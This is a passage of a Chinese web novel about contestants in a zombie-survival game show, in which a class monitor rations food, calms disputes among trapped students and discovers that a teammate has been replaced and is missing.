找食物的小队里,必须都还是可控的人物。 章诎点了点头,在纸上画上了一个圈:“只有这个办法有可行性了。” [除了食物和内部矛盾之外,还有一个最棘手的问题啊。 ] [是啊,这轮比赛好麻烦。 ] 敌方。 温知初在纸上写下这两个字。 “是。”章诎盯着那两个字,“敌方太难控了,假设所有敌方都没有疯到自杀的情况下,还得提防他们对其他人动手或者对我们动手。” 提防的前提是知道敌方到底是谁,在这三十几个人里,又究竟有几个人是敌方。 可查验的成本又如此之高,需要章诎单独完成太多任务,很能权衡时间分配。 温知初沉默了片刻:“我有一个建议。” 章诎:“你说。” 温知初:“这一次查验,能不能…” 章诎接过她的话:“直接舍弃了?” 他道:“你跟我想到一处去了。” 查验这个权限看似有用,但时间成本过高,还容易验错,如果是杀人,查验敌方倒是能够带来高回报,那么成本高些也没有问题,但这一局比赛的总目标是保人,那么查验敌方其实没那么重要了。 起码没有脱离剧情30min的权限重要。 章诎:“如果我一直用完成的任务来兑换脱离剧情, 30min累积起来也能积累成不少时长。” 在这些时长内,他们才能对TRES外的学生们做一些不符合人设的事。 譬如…把他们绑起来,阻止他们一切自杀或被杀行为。 温知初略微颔首:“我是这么想的。” 不过这种积累起来的时长只能在四天快要结束时来用。 章诎:“我估计了下,我最多能积累六个小时的剧情脱离,如果真的按照这套办法走,那么我就完全不查验敌方,把这六个小时放在第四天的最后用。” 当然,用这个的前提是,在这六个小时之前,所有人都还是活着的。 [好难啊,这样也得撑过三天半时间才行。 ] [前面的时间如果没撑过去怎么办? ] [是啊,如果敌方突然来袭,岂不是一边要躲一边还得跪在地上求他们别死。 ] [……] 章诎开口:“还有Yu 。” 晏逾明也是一个极大的不可控因素。 “考虑到最坏的情况。”章诎道,“人物卡有所暗示, Yu的任务可能和杀人有关。” 到了剧情强制的关键节点,Yu不可能不动手。 两人已然离开了休息室,重新站到楼梯口旁的围杆处,温知初垂眼望向一楼。 23:00。 到处都是黑漆漆的人影,找不到晏逾明的身影。 “副班长的剧情和班长的最紧密,而且你也当过副班长。”章诎道,“班长,只能由你来负责盯着老大了。” 温知初深黑的双眼盯向夜色深处,眸色温润:“好。” 校服袖口处的班长徽章,在黑暗中折射出微弱的银光。 第35章 场馆宁静,外面的丧尸动静窸窸窣窣,水面倒映着冷色调的灯光。 温知初和章诎分开,排查游泳场馆内的所有学生,确认他们的状态是否正常。 温知初沿着走廊前行,脚步声在空旷的场馆内显得格外清晰。 挨个走过每个人, 冷静地观察, 她的视线在学生们身上掠过。 学生们三五成群,有的人独自坐在角落,有些人睡着了,有些人睁着眼,神情警惕、略显神经质地盯着周围的环境。 温知初的脚步顿了顿。有陌生的面孔…那些在上一轮死亡的角色,被替换了。 角色依旧, 但承担此角色的人被换成了新的。 高二七班的从和伟已然死亡,高二七班刺头这个人物角色被替换成了一个新的人物,名叫赵平阴,和他的名字一样,眉宇间透着股阴郁的气质,极其得瘦,校服硌着骨头的那种瘦。 篮球部的部长不再是陈里阳,现在的部长名字是李奂壬,他站在便利店外,黄毛,长相还算清秀,神情却满是不耐烦,身旁围着体育部的体育生们。 这些角色性格指向负面,言行举止都带有攻击性。 究竟是角色性格如此,还是这些人本身是新的敌方队员, 无法分辨。 毕竟这一轮TRES不准备查验敌方。 034号:[没有看到顾学朗和顾学用,这两兄弟的角色应该在剧情中算是彻底死亡了,没有更多的剧情作用。 ] 温知初继续往前走,纤瘦修长的身影倒映在地面上,脚步声稳定而平和,袖间的班长徽章隐隐绰绰折射银光。 另一端,章诎去了一楼最边缘处的仓库排查人数,这儿比较偏僻,鲜有人至,可这次,还真的有人待在这里。 仓库外,一个把衬衫扣子扣到最上面的学生在门旁席地而坐,正小口地啃着面包。 听到章诎走来的动静,他警惕地抬起头,把手中的面包往后藏。 章诎眯了眯狐狸眼:“仓库里有人?” “有…”学生迟疑地回答,“你找他?” 章诎:“谁?” 学生:“高三三班的学委。” 高三三班的学委…按照上一轮的设定,正是邱任望,学委性格高冷,喜欢独自一人待着。 “他嫌外面说话的人吵,就到这里睡觉了。”学生继续说道,“他给了我一个面包,让我帮忙守在门口帮他看着,别让人进去打扰他睡觉。” 说到面包,学生赶忙道:“我只有这一个面包。” 他把面包攥得更紧,像是怕人抢。 章诎对他的面包不关心,他的视线扫向仓库,透过窗玻璃,可以看到有人正躺在堆叠的杂物上,身影绰绰。 确实是邱任望的背影。 他抬起手腕,在终端上敲动手指。 “叮”得一声,温知初的终端亮起。 章诎给她发来了消息。 “找到邱任望了,仓库这里还有两个人。” 游泳场馆内所有的角落都被排查完毕,一共三十三人。 温知初站定。 这意味着,作为班长,她要在这第二轮比赛中,这四天里,确保三十三个学生全都存活。 · 夜晚,丧尸还算是安静,越来越多的学生陷入沉睡,直到凌晨两点…外面的丧尸再次躁动起来,远处传来逃生人群尖叫的声音,丧尸因为食物的到来大规模地咆哮起来,嘶吼声如同暴雨般响起,听得人头弦紧绷。 墙壁震动,玻璃窗户也因为这些吼声嗡嗡作响。 外面的尖叫声不绝于耳,凄厉地就像在耳边挠。 屋内的学生们陆续被吵醒,黑暗中传来窸窸窣窣的翻身声。 有学生低声抱怨:“又开始了……” 末日到来的第十天,又是如此糟糕地开始了。 不过总算也是个新日子,新日子,意味着终于可以领新一天的食物了…太过饥饿,学生们决定先去便利店领食物。 “帮我带一个。” “我现在饿得胃疼,再不吃东西我实在撑不住了。” “今天也是只能领一次吗…一个人只能领三样?” “啊…” 学生们在便利店里进进出出,也算是有序,直到…体育部的那些人进去了。 往便利店里一扎,这些体育生就没再出来。 他们以李奂壬为首,挤在便利店的货架间,手往货架上扫,把架子上能看到的食物全都扫进怀里,根本不管什么定量不定量的,已经撕开包装袋狼吞虎咽起来。 后面想领取食物的学生被堵在外面,体育生们像是看不见外面有人,迟迟不离开。 一个胆子较大的男学生鼓起勇气走进去,去货架上拿了火腿肠和面包。 在这群人的盯视下,他拿完后赶忙想要出去。 却出不去了。 高个子的体育生们形成一个圈,围住他,学生踟蹰地后退,神情中已然有了些许害怕。 其中一个体育生笑道:“就这么着急?” 那名学生努力让语气不抖:“……我是来领食物的。” 李奂壬嫌弃地看了这个学生一眼,冷笑道:“你这么胖,应该不饿吧?把你手上的东西给我怎么样?” 他说:“趁着这个机会,你也该好好减减肥了,要不然以后逃跑的时候,你肯定会拖累我们啊…” “我……”学生因为羞耻和害怕移动着脚步,但是没地方可逃,他不想把食物让出去,紧紧地攥着。 下一秒,他被体育生猛地推了一下,踉跄上前,差点摔倒。 学生没胆子了,他伸出手,朝李奂壬颤巍巍地递出面包。 李奂壬嘲笑着,面包落入他的手中,就在他收回手的瞬间,一只指节分明的手握住了他的手腕。 “——?” 李奂壬眉头一皱,下意识地想挣脱,发现那只手稳如磐石,纹丝不动。 他猛然抬头,对上一双冷淡而平静的眼。 是班长。 温知初的手指颀长,看起来纤瘦,却比钢钳还要有力,硬生生地掰开了他的手。 李奂壬用力到额头上都出青筋了,竟然无法挣脱。 面包落在了温知初的手上。 “所有人去外面排队。” 她语气平稳,毫无波澜地开口,“领了食物的,不要留在里面。” 李奂壬的手腕上赫然浮现出一道鲜艳的红痕,有如被什么巨物绞过,已经开始充血后发紫的状态。 体育生门的表情变得难看起来,但忌惮地没有说什么。 体育部的一个女生见状,打圆场:“算了算了,没必要闹得太难看。” 在周围人的注视下,体育生们放下手中的食物,不情不愿地走出便利店。 [完成关键事件节点。 ] 人走后,温知初把面包扔到刚才那个学生的怀里,她言简意赅:“拿着。” 学生很感激地抬头:“…谢谢。” 温知初:“你在这里分发食物。” 她平静地抬眼:“有问题来找我。” 那位学生点头:“好!” 凌晨两点半,所有人的食物都分发完毕,包括邱任望的食物,也被仓库看门的那位学生领回去了。 温知初走到卷帘门前,伸手把门拉下,“嘎吱”声中,帘门合拢,外面被套上了链子锁。 “咔哒。” 锁卡死。 至此,便利店不再开放,意味着接下来的这一天,所有人只能靠这一顿食物填饱肚子。 只有这样,众人才能尽可能地待在游泳馆内,躲避外面的丧尸。 学生们低声抱怨着饥饿,但比起这个,他们遇到了一个新的问题… “……怎么这么冷?” 有人不自觉地抱紧了自己,脸色发白,“现在不是三月吗?就算是凌晨,也不至于冷成这样吧,昼夜气温变化怎么这么极端……” 众人抬起头,目光落在墙角的空调上,上面显示着室内温度。 零下一度。 零下一度其实不算特别冷,可问题是大家穿的都是春秋的校服,这般降温,就算所有衣服都穿在身上,也冷得直打哆嗦。 寒冷这个问题在以前不算个什么特别严重的问题,可现当下,每天营养根本汲取不足的情况下,学生们免疫力直线下降,很容易中招感冒、发烧、甚至引发更严重的感染。 校内的游泳场馆因为只有夏天对学生开放,所以馆内的空调买的那种只制冷的老型号。 “真的好冷……” “没有毯子吗…” “不知道,我们去仓库看看吧。” 有人缩着肩膀,搓了搓手臂。零下一度的气温,就算没有风,室内也很冷,再加上白天食物摄入量有限,血糖偏低,身体本就比平时更容易畏寒。 对于游泳场馆内有没有什么可供取暖的,没有人比章诎和温知初更清楚,两人昨天排查过每个角落…电子设备都在二楼的管理室,里面有取暖器。 温知初和远处的章诎交换了一个眼神,她踏上楼梯,走向二楼。 管理室门没有上锁,一推就能开,角落里能找到三个取暖器,一个大型的,两个小型的。 取暖器比想象中要重。 温知初默不作声地把取暖器拎下楼。 取暖器肯定得放在场馆中央的大房间里,足以容纳三十几个人。 电源线不够长,温知初重新回了一趟二楼,拿了几个长的插线板下来,一一接好插头后,取暖器逐渐吹出热风。 不用刻意去召集,学生们纷纷向取暖器围过来。 “谁找到的?班长吗?” “班长还是一如既往的靠谱啊…” “果然是班长…” 学生们聚拢在取暖器旁,感慨着幸好暂时还没有断电,要不然真就得又饿又冷,想死的心都有了。 已经凌晨三点了,外面的丧尸不知道因为什么原因一直在吼叫,拍打门窗的声音令人心烦意乱。这么吵,根本没办法睡,取暖器旁围坐着的学生们干脆不睡了,开始聊天,讲些故事,争取让气氛不要太凝重。 在现在这种严酷的环境下,人的心境一旦消沉下去,就可能再也起不来了。 学生们尽量聊些开心的往事。 有个男生开口:“你们都知道的,我们有个铁哥们儿…” 他道:“就是私底下玩闹什么的还挺幼稚的,高中生嘛我们…还是比较中二的…” 另外有个学生搭话:“我知道你要说什么,我那天看到了。” 讲故事的男生比了嘘,让他不要剧透,他继续说:“那天我们突然想到了一个新的比法,就是比谁掐人更狠,然后那哥们儿就非常用力地掐了我的屁股,他是拧着肉掐的,那叫一个疼啊…” “我本来都没什么好胜心的,被这么一掐我就想复仇,我肯定是要掐回去的,结果那孙子回座位了,一直不肯从座位上起来,后来上课了…” “那一整天我都没办法好好学习,我势必要报仇回来,所以我想啊,他不可能不上厕所吧,然后每堂课下课我都到厕所蹲他,肯定能蹲到的。” “皇天不负有心人,我终于在下午蹲到人了,他那个新买的牛仔裤一走近,我隔老远就认出来,立马就等着,他一进厕所,我立马就伸手,转着掐他的屁股,也是拧着肉掐的,左一圈,右一圈,然后…” “抬头一看,是我们老班疼到发青的脸。” “噗。” 有人忍不住笑了,空气中的压抑似乎被冲淡了一些。 不过很快有人就想起:“…也不知道班主任现在怎么样了,还有你那哥们儿…” 不知道还活不活着。 一提到这个,周围短暂地沉默了一瞬,大家都刻意避开目光,不愿意深想。 很快有人说:“欸,不想这些。” “对对,还是多说点开心的。” 取暖器的暖光映在每个学生的脸上,交错的光影让他们看起来比白天更柔和一些。 温知初没有和他们坐在一起,因为凌晨的骤然降温,她再次去去排查三十三个人的状态。 往前走,她顿住脚步。 淋浴间外的墙旁,有一个女学生正扶着墙,摇摇欲坠。 她的面色发白,眉头紧皱,身体因疼痛蜷缩着,看起来随时都会倒下。 温知初接住了她。 温知初的手有些凉,力道却很稳,轻轻撑住女学生的身体,没让她摔倒。 温知初:“怎么了?” 女学生虚弱地喘了口气:“班长,我、我胃疼……” 她说:“没事,不用管我,老毛病了…” 温知初平和地开口:“去和大家一起坐着吧,那里有取暖器。” 她没有多问,扶着女生往回走,把她安置在了大取暖器的附近,而后离开。 女学生坐了一会儿,因为暖意胃不再那么痉挛,但依旧不怎么舒服。她抱住膝盖:“要是……没有末世就好了。”“要是我还在家里就好了。” 如果还是过去的日子,每次胃疼的时候,爸妈都会陪在她身边,她现在最后悔的事,就是那天上学前和他们吵了一架… 思绪翻涌间,眼泪几乎要落下,她努力吸了吸鼻子,想把这些情绪压下去。 蓦然,有一只手轻轻地拍了拍她的肩膀。 女生转过头,依旧是班长。 温知初递给她一个保温杯,杯子里装着刚刚烧好的水:“喝些热水,看看会不会好些。” 女学生:“谢谢班长…麻烦你了。” [完成关键事件节点。 ] 弹幕滚动着。 [……天哪,小温人好好。 ] [她和班长人设好贴切,虽然话不多,但是在我印象中,就是这么一个温和的人啊。 ] [楼上的,不要忘了,小温可是道德E啊。 ] [对哦,差点忘了,这可是位道德E。 ] [不是啊,因为工作原因我在TRES见过本人,她很善良,很有礼貌。 ] [那什么<深渊>测试器,应该也有不准的时候吧… ] 因为章诎负责排查一楼走廊东侧,温知初便去了二楼。 二楼还有几个人独自待着,其中包括屈孚宁,在她提醒道一楼有取暖器后,纷纷下了楼。 确定二楼没有人落单后,温知初走下楼梯。 在下楼梯的过程中,一道视线一直落在她身上,她垂下目光,对上晏逾明的视线。 不知道是不是因为副班长的人物设定,晏逾明此时看着她的眼神格外阴鸷而冷漠。 他并不靠近取暖器的方向,半个身子陷入没有灯光的黑暗,慵懒地倚靠在墙边,面无表情地注视着她。 [注意关键事件节点:由于矛盾深种,作为班长的你,不会主动靠近副班长。 ] 温知初顿了顿,收回视线,走回人群,坐了下来。 人群中央的取暖器,运行时,会模拟发出小声的、噼里啪啦的烧柴火声,这种原始的声音有如白噪音,让大家的心境稍微和缓了些,各自分享的故事也逐渐变得温馨。 众人围着篝火,就像是围着难得还能在逆境燃烧的希望。 温知初并不言语,安静地听着其他学生说话,灯光照在她的侧脸,或明或暗,勾勒出过于完美的轮廓。 有个男生轻轻喊了声班长。 温知初侧过脸。 男生:“那个…班长,副班长一直盯着你。” 他望着晏逾明的眼神明显有畏惧:“要不…把他喊过来一起吧?” 第36章 门被紧闭, 三十多个人聚集在场馆中央的同一个大房间,取暖器的热度慢慢散开,游泳馆内的寒意被驱散了一些。 温知初顺着发声男同学的视线望向后方。 [注意关键事件节点:作为班长, 就算面对积怨已久的副班长, 你也不会放弃心中的善意。 ] 温知初站起身, 准备朝晏逾明站的地方走, 就在她起身的一刻, 晏逾明站直身,他打开门, 高大修长的身影走向手电筒照不到的黑暗深处。 温知初顿住脚步。 喊话的男同学也怔住, 赶忙道:“算了…” 班长的主动不是无限度的。 温知初停住脚步,原地站了会儿, 没有走过去,她重新回到取暖器旁坐下。 暖风吹得不远处的窗帘起起伏伏地晃动、翕动。 不少人实在扛不住困意, 靠在墙边睡过去了,学生们头倚靠在一起,偶尔往墙上磕绊。 天亮后,气温终于回升,学生们不再聚集在这个开着暖气的大房间,分散到场馆各处,其中人聚集最多的当属便利店外。 卷帘门锁着,大家只能看着。 凌晨的降温让大多数人都没睡好, 学生们筋疲力尽, 无力地坐在便利店门口, 沉默不语。 饥饿感在胃里啃咬着,让人焦虑而虚弱,有同学捂着肚子叹气:“早知道刚开始来游泳馆的时候不吃那么多了,一开始刚发现便利店的时候实在吃太多了,现在真是弹尽粮绝。” “我现在能理解那些古代打仗的军士有多绝望了,又得卖力气军粮又被贪污,饿着肚子上战场,能活着回来就怪了。” “我们现在也需要力气啊,得有力气撑着等到救援再说如果等不到救援的话,我们还得出去想办法求生。” “我们要一直躲在这个游泳馆里吗?食物…我看已经没多少了,我快饿死了。” “不然呢?你愿意出去吗?” “我…” “外面乌泱泱都是丧尸啊…” “可是我好饿,我真的有点儿忍不住了,我已经好几天没吃饱了。” 言语间,一个男学生身体晃了晃,随后直接向后倒去。 “喂!”有人惊呼,赶忙扶住那男学生。 他们喊道:“班长!” 不远处的温知初走过来。 男学生躺在地上,体型不小、偏胖,幸而不是晕死过去,是晕倒了。 他虚弱地开口:“好饿…” 温知初蹲下身,摸了摸学生的额头和手腕:“低血糖?” 学生艰难地点了点头,脸上神情难忍,肌肉抽搐,看起来很难受。 温知初把书包垫到学生的头下,拿出巧克力。 连续吃了一整排巧克力之后,学生才逐渐缓了过来,在温知初的搀扶下坐着倚靠到墙面。 “好难受…”男学生还陷在眩晕的后遗症中,“好久没低血糖了。” 他道:“对不起啊班长,吃了你那么多巧克力…我以前节食减肥这才有了低血糖这个毛病,已经好久没犯了,但是这里吃的实在太少了…” 温知初:“好些了?” 男学生:“好多了。” 温知初从背包拿出一个面包,递给了他:“拿着。” 男学生:“班长…” 他拿着面包:“这是你今天的份儿…不行啊,我要拿走了,那你怎么办?” 温知初言简意赅:“我不饿。” 男学生明显不相信,他的脸上出现纠结的神情,不过饥饿和身体的难受让他紧紧地攥着面包袋,没有松手,把面包再还给温知初。 温知初站起身,视线扫过远处的学生,若有所思。 她转移话题:“最近你有发现什么异常吗?” 刚收了一个面包的男学生非常愿意回答任何问题。 “班长,你指的是什么异常…”男同学眼睛转了转,“其实,我还真知道一件事儿…” 男生指向便利店外站着的那些人:“那些人…我昨天晚上,碰巧听到他们在商议一些事。” 温知初顺着他的视线看过去,看到了李奂壬和那些体育部的男生:“什么事?” “他们胆子很大。”男生道,“他们说,食物太少了,很饿,他们想今晚出游泳场馆找食物。” 温知初眼神落在李奂壬身上:“今晚?” [小温这个眼神什么意思,有暗示吗? ] [可能怀疑李奂壬是敌方吧。 ] [这种带人出去送死的行为,看起来真的很像敌方…当然,也有可能就是这群人胆子特别大,又太饿了,体育生消耗多大啊。 ] “对,今晚。”学生低声道,“我也特别饿,当时听到的时候,我真的特别想和他们一起去,但是…” 他很快就想起了外面成群的丧尸。 站在二楼的窗户往外看,能看到乌泱泱的一大片丧尸挤在场馆外,就算真的侥幸避开他们,那么又怎么能确定其他地方真的还有食物? 如果外面的食堂、便利店已经被其他学生占领了,到时候不放他们进去怎么办? 而且…他根本没有胆子出去。 男同学:“比起出去面对丧尸,被剖腹啃咬,我宁愿饿死在场馆内。那些体育部的男生胆子是真的大,而且体力还行,可能还是能搏一搏吧。” 温知初背靠在墙上,沉默片刻,没有发表意见。 她低头,注意到男学生手上拿着一个东西。 男学生注意到她的视线,望向自己的手。 温知初:“这是什么?” “MP3。”他道,“学校不是不让带手机嘛,我偷偷带这个来,中午睡觉的时候可以听音乐。” 男学生把黑色而小的MP3摊在手心:“不过之前逃跑的时候,被撞坏了,现在只要一打开,没有音乐,只会爆发特别刺耳尖锐的声音,已经没有用了。” 温知初垂眼:“这个MP3,你还有用吗?” 男学生听懂了她的意思:“班长,你想要这个?我用不着了。” 他道:“你拿走吧。” 温知初看着这个小巧的设备,伸手接过:“可以吗?” “当然。”男学生道,“给你。” · 另一端,章诎在进行新一天的人数排查,确保三十三个学生状态是正常的。走着走着,又去了一楼的仓库那里。 他远远地就看到了,那个男学生还坐在仓库外,仓库门依旧锁着。 章诎嘶了一声,加快脚步。 不对劲。 邱任望怎么还待在仓库里,这么长时间了,一次都没有出来。 看到章诎来,男学生慌慌忙忙地站起身。 章诎:“他还在里面?没有出来过?” “出、出来过的。”男学生擦了擦嘴角的面包屑,“他今天早上出来,把他的餐分给我了,让我继续守着。” 章诎:“把食物分给你,他吃什么?” “不知道。”男学生含糊着,“可能他不饿吧。” 章诎眯了眯狐狸眼,往前走去。 男学生立即拦在仓库门前,警惕道:“你要干什么?” 章诎笑了笑:“进去看看。” 男学生:“里面有人。” “我知道。”章诎道,“就是为了看他。” 守门的学生尽量想拦住,章诎的人物设定比较能自由发挥,他没有犹豫,绕过学生,一手按在仓库门把手上… 纹丝不动。 再拧了一下,依旧拧不开。门从里面被锁住了。 男学生见门没打开,松了一口气,抠着口袋里的面包包装袋:“别打扰学委休息啊…” 章诎敲门:“邱任望。” “同学同学,”男学生道,“小声点儿,别敲门了,学委说过了他很累,他要休息,不让任何人打扰他。” 章诎又喊了几声。 无人应答。 章诎打开终端,看了一眼群里消息,从昨天晚上他@过Q不少于三次,一直没有回复。 他皱起眉。 不对劲。 · 场馆中央,温知初确定眼前的学生不再低血糖,状态正常后,拿着MP3离去。 [关键事件节点完成。 ] [注意,新的关键事件节点产生了。 ] 温知初顿了顿脚步。 弹幕区内。 [不是,班长怎么这么多关键事件节点需要完成啊,这简直一直没有断过啊。 ] [抽到这个人物比上次抽到的那个副班长还累,这班长简直是劳模啊,一直为同学服务,完全没停过。 ] [要是Tactic位抽到这个角色岂不是赚翻了,这么多任务可以完成,能积累不少开启权限的机会啊,可惜知知是Vent位。 ] [话说这次Carn位还能像上次一样,可以共享Tactic的权限吗? ] [不知道啊…大概率不可能。 ] 与此同时。 “班长,校医找你。”有人喊道。 温知初闻声,改变方向,转身朝游泳馆一楼的临时医务室走去。 原本是储物室,临时被改成了医务室,觉得不舒服的同学一般去这里找校医处理问题。 推开储物室的门,里面是一排排储物柜。 温知初:“老师,你找我?” “啊,”校医点头,“你来了。” 校医依旧是上一轮比赛的校医,二十出头,文质彬彬。 [我现在看谁都像是敌方。 ] [这校医不是个好人嘛? ] [看过上一轮比赛嘛,顾学朗的人物设定也是个大好人,他就是敌方的。 ] 校医戴着一副金边眼镜,看向温知初: “班长,没受伤吧?” 温知初:“没有。” “是这样的…”校医推了推眼镜,缓缓道,“班长,你也知道特殊时机,医药用的消毒物品非常重要。” 温知初安静地听着:“是很重要。” 校医:“现在用于给伤口的碘酒,只剩下一瓶了,虽然只有一瓶,但500ml,还是能用很久的,可是现在…” 校医的表情变得凝重:“那瓶碘酒被人偷走了。” 温知初:“偷?” 校医指向旁边的储物柜:“我本来把碘酒锁在这个储物柜里,但刚才出去了十几分钟,锁被撬开,里面的碘酒没了。” 温知初走过去,看向储物柜。储物柜确实有被撬过的痕迹,痕迹并不糟杂,说明来人撬得十分干净利落。 温知初:“老师有怀疑的人?” “是…”校医欲言又止,“其实当时我出去的时候看到了有人在附近…是这样,这一块区域除了我和受伤的学生,很少有人来这儿,当时我出去的时候,在走廊边看到人了,不过当时我没有在意。” 他道:“毕竟我屋子里的东西都锁住了,所以没有太担心。” 温知初:“看到了谁?” 校医嘴唇翕动着,沉默了会儿,像是在犹豫该不该说出来。 最终,他开口:“副班长。” 几乎是同时,温知初的终端亮了起来。 诎: [仓库这里不太对劲,邱任望把自己锁住了。 ] 第37章 温知初没有离开, 依旧留在医务室。 [什么,我就出去了一会儿,事情怎么进展到邱任望把自己锁起来了? ] [小温还挺信赖队友的,她现在有关键事件节点,确实不应该走开,仓库那里有队友章诎就够了。 ] [这样看来, 虽然TRES才重组不到一个月, 大家倒是挺默契的。 ] [等等,医务室门口是不是站了个人…Yu? ] 校医老师:“以防万一, 我也把副班长叫来了。” 门口那道高大修长的人影走了进来,侧脸的轮廓十分冷漠,他倚靠在门边,懒洋洋地抬眼,神色不耐烦,看起来随时要走。 晏逾明的视线越过温知初,望向校医:“找我干什么?” “是这样的…”校医尽量委婉地开口,“我们医务室现在物资很紧张,但不巧, 就在刚刚,有个同学拿走了一整瓶未开封的碘酒,我觉得可能是他不小心拿错了东西…” 晏逾明:“这些话为什么对我说?” 校医:“因为…上午, 只有你一个人来过这里。” 晏逾明打断他的话, 冷笑一声走向前:“你怀疑我偷的?” 空气一下子安静。 晏逾明比校医足足高一个头, 走近时, 非常有压迫感。 校医有些皱眉地望向了温知初,似乎想让班长来维和局面。 校医:“班长,你对这件事有什么意见吗?” 温知初的手从储物柜上拿开:“确实是被撬开的。” 校医:“对啊…” 温知初开口:“老师, 我很能理解医疗物资的紧缺,但是你对于你现在怀疑的对象,有证据吗?” 校医:“证据,我看到了…” 温知初:“抱歉,老师,我不认为主观推测可以成为证据,你有实际的证据吗,或者看到了作案现场吗?” 校医一滞:“证据…” 温知初神情未变:“如果没有证据,是无法下定论的。” 校医的脸上出现后悔的神情,似乎已经开始反省自己的主观臆断:“班长你说的对,我确实不应该如此武断…我就是,太着急了,药不够了啊…” 晏逾明直接开口:“我可以走了吗?” 语气冷漠,没有解释,也没有对班长的感谢,说完这句话,没有等校医的回话,他已经转身走了出去。 校医尴尬地看着副班长离开,又看向班长:“这…” 温知初将视线从门口收回,她转移话题:“老师,还有多少医疗物资,你有记录吗?” “记录了。”校医点头,把桌上的纸递给她,“我每天都会记,要是大家目前只是生些小病的话,倒是还能撑一段时间。” 温知初的目光扫向纸张,确认完明细后,朝校医道别,随之离去。 [啊…这次Yu演了个反派啊。 ] [温晏这两个人的关系怎么又是这种对立的关系,每次都这样,真的不会影响他们现实中的关系吗? ] [再这样下去,我可要造谣TRES队内不合了啊。 ] [碘酒真的是被副班长拿走的吗,会不会是校医监守自盗啊? ] 温知初朝仓库的方向走去。途中,她遇到了刚才低血糖的那位同学。 男学生:“班长,校医老师刚才喊你过去,是发生什么事了么?” 温知初:“不是什么大事。” “没事儿就好。”学生道。 “对了,班长,真的谢谢你把面包让给我吃了,等我之后领到了新的食物,我想办法还给你一份儿。”男学生表达完感谢后,继续开口道,“其实,我是又想起了一些细节。” 温知初:“关于体育部的?” “对,”学生道,“我就是在想,目前游泳馆四个门都被堵死了,也只有东门那边那个小门还挺方便挪开柜子什么的,但也被锁死了,门把手上被层层绕上了锁链,他们应该出不去啊,除非…” 温知初:“他们有钥匙。” “对,我也是这么想的。”男学生道,“毕竟他们全都是体育部的,有把备用的钥匙也不奇怪。我之前在体育部当过志愿者裁判,我有听说过,教练给学生的钥匙,只给东门儿的,其他三个门的钥匙是不外借的,全放在老师和保安那儿。” 将铭手上的钥匙,也是东门儿。 “所以,”他继续道,“我觉得体育部的那些人,今晚应该是从东门离开。” 不是应该,是肯定。 也只有那儿最方便离开了。 学生说完后,见班长好像还有事儿要去办,两人分开了道。 温知初去仓库找章诎。 在拐进通往仓库方向的走廊前,温知初朝远处看了一眼,体育部的那些人以李奂壬为首,依旧围站在便利店外。 温知初冷淡地收回眼神,踏入走廊。 仓库外有两道身影。 一道属于那位看门的男学生,另一道属于章诎,章诎蹲在地上,在磨着什么,而那位男学生围着他转,叨叨着:“诶呀,你别想着进去了,反正学委肯定会出来得嘛…” 走近了,温知初看清了章诎是在磨铁丝。 听到脚步声,章诎抬起头:“来了?” 温知初略微颔首:“要撬锁?” “是,”章诎道,“本来想踹门的,但是动静太大,容易引起外面的暴动,还是磨铁丝开锁比较方便。” 仓库的锁比较特殊,章诎尝试了几次没成功,在重新磨铁丝的角度。 “诶呀…”男学生道,“干嘛着急找学委啊,他又不可能死在里面。” 温知初礼貌地朝他点头致意,算是打招呼,不过对于他的问题没有应声。 章诎一边磨铁丝一边问:“你说学委出来过,出来过几次?” 男学生:“今天凌晨出来过一次啊,我说过啦,他出来让我继续看门的。” 章诎:“既然门锁着,为什么让你看门?” “这…”男学生挠了挠脑袋,“这我哪知道啊,我不过一个收面包办事的。” 温知初:“你是三班的?” “是。”男学生点头,“我知道,你是四班的班长。” 温知初:“你和你们班的学委,关系很好?” “是啊。”男生道,“学委人挺好的,在我们班朋友很多。”? 章诎和温知初交换了一个眼神。 人物设定变了,之前的三班学委,可是一个不爱说话,也不喜欢交朋友的人。 章诎磨完铁丝,立即蹲到门前,把铁丝细细地塞到门锁里,直到卡住锁芯,再挪动手指,门锁间传来清脆的咔哒一声。 “欸欸欸!”男学生急得直叫。 他喊道:“不关我事啊学委,他们非要进来的!” 与此同时,门板内传来了力道,在章诎开门的同时,里面的人同时也推开门。 仓库内待了这么长时间的人终于走了出来。 “不是,我就因为外面太吵,躲在这里睡一觉…”里面的人走出来,头发乱糟糟的,脸上还有倦容,“怎么这么多人来找我?” 他低头望向锁上卡着的铁丝:“还动用了这么高的技术?” 里面的人身高、体型、轮廓和邱任望几乎一模一样,但他…不是邱任望! 那人从里面走了出来,打了个哈欠:“你们找我?” 是高三三班的学委,但不是邱任望。 [学委换人了,不是邱任望? ! ] [不是,那邱任望呢?他不在游泳场馆内啊? ] [怎么找了个身形这么像邱任望的人来替换他成为三班的学委,这明显就是剧情布置的陷阱啊!邱任望在哪里?他一个人在外面? ] 空气有一瞬间的沉寂,章诎退到温知初身旁,两人俱是沉默着,在这一瞬间,脑海里闪过无数个想法。 男学生第一个迎上去:“学委你明鉴,我认真守了半天了啊,是他硬要开门的。” 三班学委:“所以…你们到底找我干什么?” 仓库的门大开着,里面没有门窗,空无一人。 章诎皱着眉,一直愣着,走到了仓库内四处看。 温知初率先反应过来:“凌晨降温了,你在仓库里睡的?” 三班学委:“凌晨降温了吗,我睡昏过去了,没有感觉啊。” “等等…”他突然抖了抖,抱住自己的胳膊,“我说怎么身上寒气怎么重,凌晨降温了啊…” [这人是敌方吗?身形这么像邱任望,都是卷毛? ] [不知道啊,我现在看谁都是敌方。 ] [<深渊>故意的吧,故意生成一个这么像邱任望的学生这下邱任望到底去哪儿了? ] 温知初平静地望着他:“一楼大房间有取暖器和预防感冒的冲剂。” 三班学委:“啊,谢谢啊。” “不过…”他问,“就为了这事儿你们这么着急找我?” 章诎走了出来。 温知初瞥了眼:“特殊时期,落单很危险。” “明白了,你们担心我被冻死在里面是吧…这么温馨的嘛。”三班学委道,“知道了,以后我不会一个人躲着了,我就是觉得其他学生都丧丧的,我看着心情也不好。” 他道:“那我先去泡点儿感冒药吃,先走了啊…” 三班学委预备离开,看门的男学生跟了上去。 “等等。”温知初开口。 学委停住脚步:“怎么了吗?” 温知初:“仓库的钥匙,可以给我吗?” “啊!钥匙!”学委掏了掏裤兜,找到钥匙递给她,“钥匙是都归你管吗?” 温知初:“暂时是这样。” 她接过钥匙,收回手。 高三三班的两个身影离去,仓库外只剩下温知初和章诎,两人沉默着,重新将仓库内找了一遍,没有发现其他异常迹象。 “邱任望不见了,”章诎道,“现在联系不上他。” 终端在这个剧情世界内信号很差,距离远的时候,彼此非常难联系到。 可见,邱任望现在离他们所在的游泳场馆较远。 